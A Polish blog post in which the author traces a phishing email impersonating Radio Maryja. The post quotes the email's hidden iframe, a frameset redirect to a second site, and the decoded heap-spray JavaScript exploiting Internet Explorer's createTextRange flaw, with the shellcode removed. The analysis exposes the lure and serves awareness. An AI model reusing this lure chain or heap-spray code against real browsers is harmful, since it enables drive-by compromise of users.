Jakiś czas temu dostałem maila o następującej treści:
Bracia w wierze, Członkowie Rodziny Radia Maryja!
Nasza strona WWW uległa gruntownej przemianie. Jesteśmy szczęśliwi mogąc zaprezentować Wam owoc naszych wielomiesięcznych starań. Oprócz dotychczasowych informacji na temat rozgłośni i Rodziny Radia Maryja, teraz dostępne są w Internecie także aktualności z życia Ojczyzny oraz Forum Przyjaciół Kultury, promujące światło nauki Chrystusa poprzez dialog i świadectwo ludzi myślących.
Zapraszamy serdecznie:
http://www.radiomaryja.pl/
Redakcja serwisu WWW rozgłośni Radia Maryja
Wcięło mnie...
Na początku zignorowałem go, bo ani za spamem, ani za Radiem Maryja nie przepadam, jednak intrygowało mnie pytanie - dlaczego akurat ja?
Oczywiście wiem, że mój adres znajduje się w niejednej bazie spamowej. Od 4 grudnia ubiegłego roku otrzymałem 23900 spamów, oraz jedynie 5874 normalnych wiadomości. Na szczęście tych wszystkich spamów nie czytam, złatwia je SpamBayes sprzężony ze SpamAssassin. Z czasem poziom zaintrygowania wzrósł do tego stopnia, że aż zobaczyłem źródło tego maila:
From - Sat May 13 06:02:15 2006 Return-Path: <[email protected]> Received: from poczta.onet.pl [213.180.130.206] Received: from duk90.internetdsl.tpnet.pl ([83.19.222.90]:3845 "HELO kucharczyk") by kps8.test.onet.pl with SMTP id <S1190393AbWELVTv>; Fri, 12 May 2006 23:19:51 +0200 To: <xxx> From: "Radio Maryja" <[email protected]> Content-Type: text/html; charset=iso-8859-2 Subject: Nowa strona Radia Maryja Message-Id: <[email protected]> Date: Fri, 12 May 2006 23:19:51 +0200
<html><body><pre> Bracia w wierze, Członkowie Rodziny Radia Maryja!
Nasza strona WWW uległa gruntownej przemianie. Jesteśmy szczęśliwi mogąc zaprezentować Wam owoc naszych wielomiesięcznych starań. Oprócz dotychczasowych informacji na temat rozgłośni i Rodziny Radia Maryja, teraz dostępne są w Internecie także aktualności z życia Ojczyzny oraz Forum Przyjaciół Kultury, promujące światło nauki Chrystusa poprzez dialog i świadectwo ludzi myślących.
Zapraszamy serdecznie:
<a href="http://www.radiomaryja.be/" target="_blank">http://www.radiomaryja.pl/</a>
Redakcja serwisu WWW rozgłośni Radia Maryja </pre> <iframe style="width:0;height:0;visibility:hidden;display:none" src="http://www.radiomaryja.be/"></iframe> </body></html>
Okazuje się, że to, co wydaje się być linkiem do strony www.radiomaryja.pl (nie, linka do tego tej strony nie będzie) jest w rzeczywistości łaczem do strony www.radiomaryja.be. A więc po kolei używając hakerskiego (hehe) narzędzia wget (oj, brakuje mi mojego trolla, brakuje, może jednak mogłem go karmić?) zobaczyłem co kryje się pod stroną www.radiomaryja.be (do tej strony linka tym bardziej nie będzie). I co się kryje?
<HTML><HEAD><TITLE>Radio Maryja - Katolicki Głos w Twoim Domu</TITLE><META NAME="Keywords" CONTENT="Radio, Maryja, Tadeusz, Rydzyk"><META NAME="Description" CONTENT=""></HEAD><FRAMESET ROWS="*,0"><FRAME SRC="http://ircgalaxy.pl/hello/" MARGINHEIGHT=0 MARGINWIDTH=0 NORESIZE></FRAMESET>
Czyli należy sprawdzić co się ukrywa pod adrem http://ircgalaxy.pl/hello/. A tam:
<HTML> <HEAD> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-2"> <META HTTP-EQUIV="Refresh" CONTENT="3; url=http://www.radiomaryja.pl/"> <TITLE>Proszę czekać</TITLE> <SCRIPT LANGUAGE="JScript.Encode" SRC="banner.jse"></SCRIPT> </HEAD> <BODY BGCOLOR="#FFFFFF"> Trwa ładowanie strony, proszę czekać... </BODY> </HTML>
Czyli po 3 sekundach jesteśmy przekierowywani na stronę www.radiomaryja.pl, natomiast w międzyczasie uruchamiany jest skrypt banner.jse. JSE, czyli normalny skrypt "zakodowany" przez Script Encoder. Jakby ktoś się łudził, że w ten sposób można skutecznie ukryć oryginalny skrypt, to nadzieje są próżne (w tej chwili nie chce mi się tłumaczyć dlaczego), wystarczy chwila googlania za hasłem Windows Script Decoder i mamy miłe narzędzie. Misternie ukryty skrypt przyjmuje zatem następującą postać:
function f() { document.write('<input type="checkbox" id="blah" style="visibility:hidden;display:none">'); sc12 = unescape("TU BYŁ SHELLCODE"); bb = unescape("%u9090%u9090"); trigger = 'xtRa'; slsp = 20 + sc12.length; while (bb.length < slsp) bb += bb; fb = bb.substring(0, slsp); block = bb.substring(0, bb.length-slsp); while(block.length + slsp < 0x40000) block = block + block + fb; memory = new Array(); for (i = 0; i < 2020; i++) memory[i] = block + sc12; eval('document.getElementById("blah").createTe'+trigger+'nge()') } setTimeout("f()",100);
I o co codzi? Oczywiście o załataną (nie)dawno dziurę w Internet Explorerze związaną z metodą createTextRange. Czyli to, co najpierw wziąłem za spam okazało się w rzeczywistości sposobem do nakłonienia użytkownika do wejścia na stronę z eksploitem dla znanej luki w bezpieczeństwie wciąż najpopularniejszej przeglądarki internetowej. No cóż...